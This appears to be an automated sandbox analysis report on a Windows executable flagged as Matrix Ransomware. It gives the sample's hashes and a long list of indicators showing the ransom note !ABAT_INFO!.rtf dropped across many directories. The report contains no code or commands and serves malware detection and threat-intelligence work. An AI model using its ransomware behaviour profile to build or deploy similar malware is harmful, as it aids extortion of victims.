Analysis
-
max time kernel
137s -
max time network
136s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
08-10-2020 15:06
Static task
static1
Behavioral task
behavioral1
Sample
81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe
Resource
win7v200722
Behavioral task
behavioral2
Sample
81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe
Resource
win10
General
-
Target
81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe
-
Size
1.2MB
-
MD5
a8fab811ecaa6103c0b281f2b15157f7
-
SHA1
1981e33ace0a993984ff31dd3ea3e7412c70db7a
-
SHA256
81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f
-
SHA512
f02bec00bd22c51b5e4e5d1ebf02ead779f3bef223540cea5b58163fb6257af24b3848bfd6142abb31bd5b735a6cd3428595c6aeb5ec2e4739f50944c7885fd1
Malware Config
Signatures
-
Matrix Ransomware 454 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\skins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\storage\permanent\chrome\idb\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00008D31\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\index-dir\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\jfr\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\OfflineCache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\bin\server\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Antarctica\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Indian\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\packages\Patch\x64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Pictures\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\storage\default\moz-extension+++74bf55e1-f8f0-4b8e-ae67-9c4088745841^userContextId=4294967295\idb\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\Z1YRRYOY\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-2090973689-680783404-4292415065-1000\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\management\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bl84ptbo.Admin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Pictures\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Europe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Africa\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Downloads\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Adobe\Acrobat\9.0\Cache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\_platform_specific\win_x64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Downloads\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Protect\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\uninstall\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Music\Sample Music\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Libraries\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Documents\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\storage\permanent\chrome\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\Windows Live\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\MSBuild\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 